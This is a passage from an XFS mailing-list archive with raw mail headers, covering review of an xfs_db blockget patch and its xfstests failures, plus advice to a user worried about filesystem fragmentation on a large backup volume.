breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Oct 13, 2015 at 10:35:57PM -0700, Darrick J. Wong wrote: > Refactor the open-coded runtime stats reporting into a library > command, then update xfs_io commands to use it. > > v2: Pass the verb name along so that we can report it accurately > > Signed-off-by: Darrick J. Wong Looks good - and useful even without the actual reflink support. Signed-off-by: Christoph Hellwig From BATV+723121e0e7a892d27077+4434+infradead.org+hch@bombadil.srs.infradead.org Wed Oct 14 12:08:24 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 6777B7F37 for ; Wed, 14 Oct 2015 12:08:24 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 55ED7304062 for ; Wed, 14 Oct 2015 10:08:21 -0700 (PDT) X-ASG-Debug-ID: 1444842499-04cb6c11003a730001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id enN5YUPa3rNa8lMD (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 14 Oct 2015 10:08:20 -0700 (PDT) X-Barracuda-Envelope-From: BATV+723121e0e7a892d27077+4434+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1ZmPXG-0003bc-Mr; Wed, 14 Oct 2015 17:08:18 +0000 Date: Wed, 14 Oct 2015 10:08:18 -0700 From: Christoph Hellwig To: "Darrick J. Wong" Cc: david@fromorbit.com, xfs@oss.sgi.com Subject: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems Message-ID: <20151014170818.GA10559@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050558.1504.97525.stgit@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151007050558.1504.97525.stgit@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1444842500 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.176.15:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23483 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Tue, Oct 06, 2015 at 10:05:58PM -0700, Darrick J. Wong wrote: > Plumb in the necessary finobt scanning, magic number checks, and other > fixups required to handle v5 filesystems. This makes it so that check > can spot-check v5 filesystems even though xfs_repair is now the > preferred fixer tool, which makes the xfstests fs check function a > little happier. As is this makes xfstests rather unhappy by failing tests. I'm not sure if that's issues in the blockget / xfs_check functionality or because it actually finds bugs in the kernel code. From darrick.wong@oracle.com Wed Oct 14 13:20:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id D5ED67F37 for ; Wed, 14 Oct 2015 13:20:55 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id A20F6304059 for ; Wed, 14 Oct 2015 11:20:52 -0700 (PDT) X-ASG-Debug-ID: 1444846844-04bdf06db132cc0001-NocioJ Received: from userp1040.oracle.com (userp1040.oracle.com [156.151.31.81]) by cuda.sgi.com with ESMTP id 2C0LrMtHyzu6eNLb (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 14 Oct 2015 11:20:45 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 156.151.31.81 Received: from userv0022.oracle.com (userv0022.oracle.com [156.151.31.74]) by userp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9EIKLSi027180 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Oct 2015 18:20:21 GMT Received: from userv0121.oracle.com (userv0121.oracle.com [156.151.31.72]) by userv0022.oracle.com (8.13.8/8.13.8) with ESMTP id t9EIKLlx009435 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 14 Oct 2015 18:20:21 GMT Received: from abhmp0014.oracle.com (abhmp0014.oracle.com [141.146.116.20]) by userv0121.oracle.com (8.13.8/8.13.8) with ESMTP id t9EIKKcT006797; Wed, 14 Oct 2015 18:20:20 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 14 Oct 2015 11:20:20 -0700 Date: Wed, 14 Oct 2015 11:20:13 -0700 From: "Darrick J. Wong" To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems Message-ID: <20151014182013.GK10397@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050558.1504.97525.stgit@birch.djwong.org> <20151014170818.GA10559@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151014170818.GA10559@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: userv0022.oracle.com [156.151.31.74] X-Barracuda-Connect: userp1040.oracle.com[156.151.31.81] X-Barracuda-Start-Time: 1444846845 X-Barracuda-Encrypted: ECDHE-RSA-AES256-GCM-SHA384 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=UNPARSEABLE_RELAY X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23490 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 UNPARSEABLE_RELAY Informational: message has unparseable relay lines On Wed, Oct 14, 2015 at 10:08:18AM -0700, Christoph Hellwig wrote: > On Tue, Oct 06, 2015 at 10:05:58PM -0700, Darrick J. Wong wrote: > > Plumb in the necessary finobt scanning, magic number checks, and other > > fixups required to handle v5 filesystems. This makes it so that check > > can spot-check v5 filesystems even though xfs_repair is now the > > preferred fixer tool, which makes the xfstests fs check function a > > little happier. > > As is this makes xfstests rather unhappy by failing tests. I'm not > sure if that's issues in the blockget / xfs_check functionality or > because it actually finds bugs in the kernel code. Which tests, specifically? I ran all the tests in the 'quick' group and of the relatively few errors I saw, I couldn't trace any of them back to blockget. Earlier patch editions caused such problems, but afaict I've fixed them all. :) --D > > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs From BATV+723121e0e7a892d27077+4434+infradead.org+hch@bombadil.srs.infradead.org Wed Oct 14 13:23:48 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 5FE8D7F37 for ; Wed, 14 Oct 2015 13:23:48 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay2.corp.sgi.com (Postfix) with ESMTP id 2EB92304053 for ; Wed, 14 Oct 2015 11:23:48 -0700 (PDT) X-ASG-Debug-ID: 1444847025-04bdf06db332dc0001-NocioJ Received: from bombadil.infradead.org ([198.137.202.9]) by cuda.sgi.com with ESMTP id M7AkzaRL3yPYjtCi (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128 verify=NO) for ; Wed, 14 Oct 2015 11:23:45 -0700 (PDT) X-Barracuda-Envelope-From: BATV+723121e0e7a892d27077+4434+infradead.org+hch@bombadil.srs.infradead.org X-Barracuda-Apparent-Source-IP: 198.137.202.9 Received: from hch by bombadil.infradead.org with local (Exim 4.80.1 #2 (Red Hat Linux)) id 1ZmQiG-00080v-Uu; Wed, 14 Oct 2015 18:23:44 +0000 Date: Wed, 14 Oct 2015 11:23:44 -0700 From: Christoph Hellwig To: "Darrick J. Wong" Cc: Christoph Hellwig , xfs@oss.sgi.com Subject: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems Message-ID: <20151014182344.GA28670@infradead.org> X-ASG-Orig-Subj: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050558.1504.97525.stgit@birch.djwong.org> <20151014170818.GA10559@infradead.org> <20151014182013.GK10397@birch.djwong.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151014182013.GK10397@birch.djwong.org> User-Agent: Mutt/1.5.23 (2014-03-12) X-SRS-Rewrite: SMTP reverse-path rewritten from by bombadil.infradead.org See http://www.infradead.org/rpr.html X-Barracuda-Connect: UNKNOWN[198.137.202.9] X-Barracuda-Start-Time: 1444847025 X-Barracuda-Encrypted: ECDHE-RSA-AES128-GCM-SHA256 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_MISMATCH_TO, RDNS_NONE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23490 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 BSF_SC0_MISMATCH_TO Envelope rcpt doesn't match header 0.10 RDNS_NONE Delivered to trusted network by a host with no rDNS On Wed, Oct 14, 2015 at 11:20:13AM -0700, Darrick J. Wong wrote: > > As is this makes xfstests rather unhappy by failing tests. I'm not > > sure if that's issues in the blockget / xfs_check functionality or > > because it actually finds bugs in the kernel code. > > Which tests, specifically? I ran all the tests in the 'quick' group and of > the relatively few errors I saw, I couldn't trace any of them back to blockget. > > Earlier patch editions caused such problems, but afaict I've fixed them all. :) shared/006 xfs/076 xfs/206 xfs/250 although xfs/206 also fails just due to reflink output from mkfs, but I'll send a patch for that soon. From cedric.lemarchand@ixblue.com Wed Oct 14 13:29:28 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id 46CE77F37 for ; Wed, 14 Oct 2015 13:29:28 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay2.corp.sgi.com (Postfix) with ESMTP id 271AF304053 for ; Wed, 14 Oct 2015 11:29:27 -0700 (PDT) X-ASG-Debug-ID: 1444847362-04cbb035aa00010001-NocioJ Received: from mail.ixserver.net (mail.ixserver.net [94.143.114.23]) by cuda.sgi.com with ESMTP id aOH3BHZxw7GmlCdk for ; Wed, 14 Oct 2015 11:29:23 -0700 (PDT) X-Barracuda-Envelope-From: cedric.lemarchand@ixblue.com X-Barracuda-Apparent-Source-IP: 94.143.114.23 Received: from localhost (localhost [127.0.0.1]) by mail.ixserver.net (Postfix) with ESMTP id CB70D36A350; Wed, 14 Oct 2015 20:29:26 +0200 (CEST) Received: from mail.ixserver.net ([127.0.0.1]) by localhost (mail.ixserver.net [127.0.0.1]) (amavisd-new, port 10032) with ESMTP id 8SozfmxZkvO1; Wed, 14 Oct 2015 20:29:25 +0200 (CEST) Received: from localhost (localhost [127.0.0.1]) by mail.ixserver.net (Postfix) with ESMTP id F072936CDAA; Wed, 14 Oct 2015 20:29:24 +0200 (CEST) X-Virus-Scanned: amavisd-new at mail.ixserver.net Received: from mail.ixserver.net ([127.0.0.1]) by localhost (mail.ixserver.net [127.0.0.1]) (amavisd-new, port 10026) with ESMTP id odVSi3cVaBOh; Wed, 14 Oct 2015 20:29:24 +0200 (CEST) Received: from [10.10.0.1] (unknown [185.105.31.249]) by mail.ixserver.net (Postfix) with ESMTPSA id AE6CB36A350; Wed, 14 Oct 2015 20:29:24 +0200 (CEST) Content-Type: multipart/alternative; boundary="Apple-Mail=_C0B526B3-FED3-49AC-AEC3-0FCB942EF57D" Mime-Version: 1.0 (Mac OS X Mail 9.0 \(3094\)) Subject: Re: Any way to slow down fragmentation ? From: =?utf-8?Q?C=C3=A9dric_Lemarchand?= X-ASG-Orig-Subj: Re: Any way to slow down fragmentation ? In-Reply-To: <561D800B.90307@sandeen.net> Date: Wed, 14 Oct 2015 20:29:19 +0200 Cc: xfs@oss.sgi.com Message-Id: References: <561D7D9D.4030409@ixblue.com> <561D800B.90307@sandeen.net> To: Eric Sandeen X-Mailer: Apple Mail (2.3094) X-Barracuda-Connect: mail.ixserver.net[94.143.114.23] X-Barracuda-Start-Time: 1444847363 X-Barracuda-URL: https://192.48.176.25:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23489 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.10 BSF_SC0_SA085 Custom Rule SA085 --Apple-Mail=_C0B526B3-FED3-49AC-AEC3-0FCB942EF57D Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=utf-8 Well .. it seems I missed the most important part of the FAQ, thank for = pointing it. As you stated, playing with xfs_bmap shows that the 13TB = file is fragmented a lot, xfs_fsr is now working on it. Any hints about sector size ? Regarding the workload, my point would be = that use 4k could not hurts here. Thanks, C=C3=A9dric --=20 C=C3=A9dric Lemarchand IT Infrastructure Manager iXBlue 34 rue de la Croix de Fer 78100 St Germain en Laye France Tel. +33 1 30 08 88 88 Mob. +33 6 37 23 40 93 Fax +33 1 30 08 88 00 www.ixblue.com > On 14 Oct 2015, at 00:04, Eric Sandeen wrote: >=20 >=20 >=20 > On 10/13/15 4:54 PM, C=C3=A9dric Lemarchand wrote: >> I think I actually have very bad fragmentation values, which >> unfortunately involve performances drop by an order of magnitude of >> 3x/4x. A defrag is actually running, but it's really really slow, to = the >> point that I will need to constantly defrag the partition, which is = not >> optimal. There are approximatively 500Go written sequentially every = day, >> and almost 10/12T random writes every week due to backup files = rotations. >=20 > Does anything besides the xfs_db "frag" command make you think that > fragmentation is a problem? See below... >=20 >> The partition has been formated with default options, over LVM (one >> VG/one LV). >>=20 >> Here are somes questions : >>=20 >> - is there mkfs.xfs or mounting options that could reduce the >> fragmentation over the time ? >> - the backup software writes use blocks size of ~4MB, as the previous >> question, any options to optimize differents layers (LVM & XFS) ? The >> underlaying FS could handle 1MB block size, should I set this value = for >> XFS too ? do I need to play with "su" and "sw" as stated in the FAQ ? >>=20 >> I admit that there are so many options that I am a bit lost. >>=20 >> Thanks, >>=20 >> C=C3=A9dric >>=20 >> -- >> Some informations : VM running Debian Jessie, underlaying storage is >> software raid (ZFS). >>=20 >>=20 >> df -k >> Filesystem 1K-blocks Used Available Use% Mounted = on >> /dev/mapper/VG2-LV1 53685000192 40921853928 12763146264 77% /vrepo1 >>=20 >> xfs_db -r /dev/VG2/LV1 -c frag >> actual 4222, ideal 137, fragmentation factor 96.76% >=20 > = http://xfs.org/index.php/XFS_FAQ#Q:_The_xfs_db_.22frag.22_command_says_I.2= 7m_over_50.25._Is_that_bad.3F >=20 > So in 137 files, you have 4222 extents, or an average of > about 30 extents per file. >=20 > Or put another way, you have 39026 gigabytes used, in > 4222 extents, for an average of 9 gigabytes per extent. >=20 > Those don't sound like problematic numbers. >=20 > xfs_bmap on an individual file will show you its mapping. > But for files of several hundred gigs, having several > very large extents really is not a problem. >=20 > I think the xfs_db frag command may be misleading you about > where the problem lies. >=20 > Of course it's possible that all but one of your files is > well laid out, and that last file is horribly, horribly > fragmented. But the top-level numbers don't tell us whether > that might be the case. >=20 > -Eric >=20 > _______________________________________________ > xfs mailing list > xfs@oss.sgi.com > http://oss.sgi.com/mailman/listinfo/xfs --Apple-Mail=_C0B526B3-FED3-49AC-AEC3-0FCB942EF57D Content-Transfer-Encoding: quoted-printable Content-Type: text/html; charset=utf-8
Well .. it seems I missed the most important = part of the FAQ, thank for pointing it. As you stated, playing with = xfs_bmap shows that the 13TB file is fragmented a lot, xfs_fsr is now = working on it.

Any hints about sector size ? Regarding the workload, my = point would be that use 4k could not hurts here.

Thanks,

C=C3=A9dric

-- 
C=C3=A9dric= Lemarchand
IT Infrastructure Manager
iXBlue
34 rue de la = Croix de Fer
78100 St Germain en Laye
France
Tel. +33 1 30 08 88 88
Mob. +33 6 37 23 40 93
Fax +33 1 30 08 88 = 00

On 14 Oct 2015, at 00:04, Eric Sandeen <sandeen@sandeen.net>= wrote:



On 10/13/15 4:54 PM, C=C3=A9dric = Lemarchand wrote:
I = think I actually have very bad fragmentation values, which
unfortunately involve performances drop by an order of = magnitude of
3x/4x. A defrag is actually running, but it's = really really slow, to the
point that I will need to = constantly defrag the partition, which is not
optimal. = There are approximatively 500Go written sequentially every day,
and almost 10/12T random writes every week due to backup = files rotations.

Does anything = besides the xfs_db "frag" command make you think that
fragmentation is a problem?  See below...

The = partition has been formated with default options, over LVM (one
VG/one LV).

Here are somes = questions :

- is there mkfs.xfs or mounting = options that could reduce the
fragmentation over the time = ?
- the backup software writes use blocks size of ~4MB, as = the previous
question, any options to optimize differents = layers (LVM & XFS) ? The
underlaying FS could handle = 1MB block size, should I set this value for
XFS too ? do I = need to play with "su" and "sw" as stated in the FAQ ?

I admit that there are so many options that I am a bit = lost.

Thanks,

C=C3=A9dric

--
Some = informations : VM running Debian Jessie, underlaying storage is
software raid (ZFS).


df -k
Filesystem =            1K-block= s        Used   Available = Use% Mounted on
/dev/mapper/VG2-LV1 53685000192 = 40921853928 12763146264  77% /vrepo1

xfs_db -r /dev/VG2/LV1 -c frag
actual 4222, = ideal 137, fragmentation factor 96.76%

http://xfs.org/index.php/XFS_FAQ#Q:_The_xfs_db_.22frag.22_comma= nd_says_I.27m_over_50.25._Is_that_bad.3F

So in 137 files, you have 4222 extents, or an average of
about 30 extents per file.

Or = put another way, you have 39026 gigabytes used, in
4222 = extents, for an average of 9 gigabytes per extent.

Those don't sound like problematic numbers.

xfs_bmap on an individual file will show you its mapping.
But for files of several hundred gigs, having several
very large extents really is not a problem.

I think the xfs_db frag command may be misleading you = about
where the problem lies.

Of course it's possible that all but one of your files is
well laid out, and that last file is horribly, horribly
fragmented.  But the top-level numbers don't tell us = whether
that might be the case.

-Eric

_______________________________________________
xfs mailing list
xfs@oss.sgi.com
http://oss.sgi.com/mailman/listinfo/xfs

= --Apple-Mail=_C0B526B3-FED3-49AC-AEC3-0FCB942EF57D-- From sandeen@sandeen.net Wed Oct 14 13:36:55 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id EC4CE7F37 for ; Wed, 14 Oct 2015 13:36:54 -0500 (CDT) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4F680AC007 for ; Wed, 14 Oct 2015 11:36:53 -0700 (PDT) X-ASG-Debug-ID: 1444847809-04bdf06db133230001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id BGpWlpz6tAZ3stNb for ; Wed, 14 Oct 2015 11:36:49 -0700 (PDT) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1.2 with cipher DHE-RSA-AES128-SHA (128/128 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 676D363BCF81; Wed, 14 Oct 2015 13:36:49 -0500 (CDT) Subject: Re: Any way to slow down fragmentation ? To: =?UTF-8?Q?C=c3=a9dric_Lemarchand?= X-ASG-Orig-Subj: Re: Any way to slow down fragmentation ? References: <561D7D9D.4030409@ixblue.com> <561D800B.90307@sandeen.net> Cc: xfs@oss.sgi.com From: Eric Sandeen Message-ID: <561EA0C0.8040305@sandeen.net> Date: Wed, 14 Oct 2015 13:36:48 -0500 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.11; rv:38.0) Gecko/20100101 Thunderbird/38.3.0 MIME-Version: 1.0 In-Reply-To: Content-Type: text/plain; charset=utf-8 Content-Transfer-Encoding: 8bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1444847809 X-Barracuda-URL: https://192.48.157.11:443/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.10 X-Barracuda-Spam-Status: No, SCORE=0.10 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=BSF_SC0_SA085 X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.23490 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.10 BSF_SC0_SA085 Custom Rule SA085 On 10/14/15 1:29 PM, Cédric Lemarchand wrote: > Well .. it seems I missed the most important part of the FAQ, thank > for pointing it. As you stated, playing with xfs_bmap shows that the > 13TB file is fragmented a lot, xfs_fsr is now working on it. how much was "a lot?" a 13TB file can have "a lot" of *very* large extents. > Any hints about sector size ? Regarding the workload, my point would > be that use 4k could not hurts here. There's no real reason to change from the defaults mkfs.xfs detects and uses for sector size. Certainly sector size has nothing at all to do with fragmentation. -Eric > Thanks, > > Cédric > > -- > Cédric Lemarchand > IT Infrastructure Manager > iXBlue > 34 rue de la Croix de Fer > 78100 St Germain en Laye > France > Tel. +33 1 30 08 88 88 > Mob. +33 6 37 23 40 93 > Fax +33 1 30 08 88 00 > www.ixblue.com > >> On 14 Oct 2015, at 00:04, Eric Sandeen > wrote: >> >> >> >> On 10/13/15 4:54 PM, Cédric Lemarchand wrote: >>> I think I actually have very bad fragmentation values, which >>> unfortunately involve performances drop by an order of magnitude of >>> 3x/4x. A defrag is actually running, but it's really really slow, to the >>> point that I will need to constantly defrag the partition, which is not >>> optimal. There are approximatively 500Go written sequentially every day, >>> and almost 10/12T random writes every week due to backup files rotations. >> >> Does anything besides the xfs_db "frag" command make you think that >> fragmentation is a problem? See below... >> >>> The partition has been formated with default options, over LVM (one >>> VG/one LV). >>> >>> Here are somes questions : >>> >>> - is there mkfs.xfs or mounting options that could reduce the >>> fragmentation over the time ? >>> - the backup software writes use blocks size of ~4MB, as the previous >>> question, any options to optimize differents layers (LVM & XFS) ? The >>> underlaying FS could handle 1MB block size, should I set this value for >>> XFS too ? do I need to play with "su" and "sw" as stated in the FAQ ? >>> >>> I admit that there are so many options that I am a bit lost. >>> >>> Thanks, >>> >>> Cédric >>> >>> -- >>> Some informations : VM running Debian Jessie, underlaying storage is >>> software raid (ZFS). >>> >>> >>> df -k >>> Filesystem 1K-blocks Used Available Use% Mounted on >>> /dev/mapper/VG2-LV1 53685000192 40921853928 12763146264 77% /vrepo1 >>> >>> xfs_db -r /dev/VG2/LV1 -c frag >>> actual 4222, ideal 137, fragmentation factor 96.76% >> >> http://xfs.org/index.php/XFS_FAQ#Q:_The_xfs_db_.22frag.22_command_says_I.27m_over_50.25._Is_that_bad.3F >> >> So in 137 files, you have 4222 extents, or an average of >> about 30 extents per file. >> >> Or put another way, you have 39026 gigabytes used, in >> 4222 extents, for an average of 9 gigabytes per extent. >> >> Those don't sound like problematic numbers. >> >> xfs_bmap on an individual file will show you its mapping. >> But for files of several hundred gigs, having several >> very large extents really is not a problem. >> >> I think the xfs_db frag command may be misleading you about >> where the problem lies. >> >> Of course it's possible that all but one of your files is >> well laid out, and that last file is horribly, horribly >> fragmented. But the top-level numbers don't tell us whether >> that might be the case. >> >> -Eric >> >> _______________________________________________ >> xfs mailing list >> xfs@oss.sgi.com >> http://oss.sgi.com/mailman/listinfo/xfs > From darrick.wong@oracle.com Wed Oct 14 14:53:01 2015 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=UNPARSEABLE_RELAY autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id 2B79A7F37 for ; Wed, 14 Oct 2015 14:53:01 -0500 (CDT) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 0A5548F8040 for ; Wed, 14 Oct 2015 12:53:00 -0700 (PDT) X-ASG-Debug-ID: 1444852375-04cbb035a901f10001-NocioJ Received: from aserp1040.oracle.com (aserp1040.oracle.com [141.146.126.69]) by cuda.sgi.com with ESMTP id A4rBAJO3t60VixpH (version=TLSv1.2 cipher=ECDHE-RSA-AES256-GCM-SHA384 bits=256 verify=NO) for ; Wed, 14 Oct 2015 12:52:55 -0700 (PDT) X-Barracuda-Envelope-From: darrick.wong@oracle.com X-Barracuda-Apparent-Source-IP: 141.146.126.69 Received: from userv0021.oracle.com (userv0021.oracle.com [156.151.31.71]) by aserp1040.oracle.com (Sentrion-MTA-4.3.2/Sentrion-MTA-4.3.2) with ESMTP id t9EJqTaH031205 (version=TLSv1 cipher=DHE-RSA-AES256-SHA bits=256 verify=OK); Wed, 14 Oct 2015 19:52:30 GMT Received: from userv0122.oracle.com (userv0122.oracle.com [156.151.31.75]) by userv0021.oracle.com (8.13.8/8.13.8) with ESMTP id t9EJqTrK025068 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=FAIL); Wed, 14 Oct 2015 19:52:29 GMT Received: from abhmp0002.oracle.com (abhmp0002.oracle.com [141.146.116.8]) by userv0122.oracle.com (8.13.8/8.13.8) with ESMTP id t9EJqTmV027194; Wed, 14 Oct 2015 19:52:29 GMT Received: from localhost (/24.21.154.84) by default (Oracle Beehive Gateway v4.0) with ESMTP ; Wed, 14 Oct 2015 12:52:28 -0700 Date: Wed, 14 Oct 2015 12:52:27 -0700 From: "Darrick J. Wong" To: Christoph Hellwig Cc: xfs@oss.sgi.com Subject: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems Message-ID: <20151014195227.GG11398@birch.djwong.org> X-ASG-Orig-Subj: Re: [PATCH 07/51] xfs_db: enable blockget for v5 filesystems References: <20151007050513.1504.28089.stgit@birch.djwong.org> <20151007050558.1504.97525.stgit@birch.djwong.org> <20151014170818.GA10559@infradead.org> <20151014182013.GK10397@birch.djwong.org> <20151014182344.GA28670@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20151014182344.GA28670@infradead.org> User-Agent: Mutt/1.5.21 (2010-09-15) X-Source-IP: userv0021.oracle.com [156.151.31.71] X-Barracuda-Connect: aserp1040.oracle.com[141.146.126.69] X-Barracuda-Start-Time: 1444852375 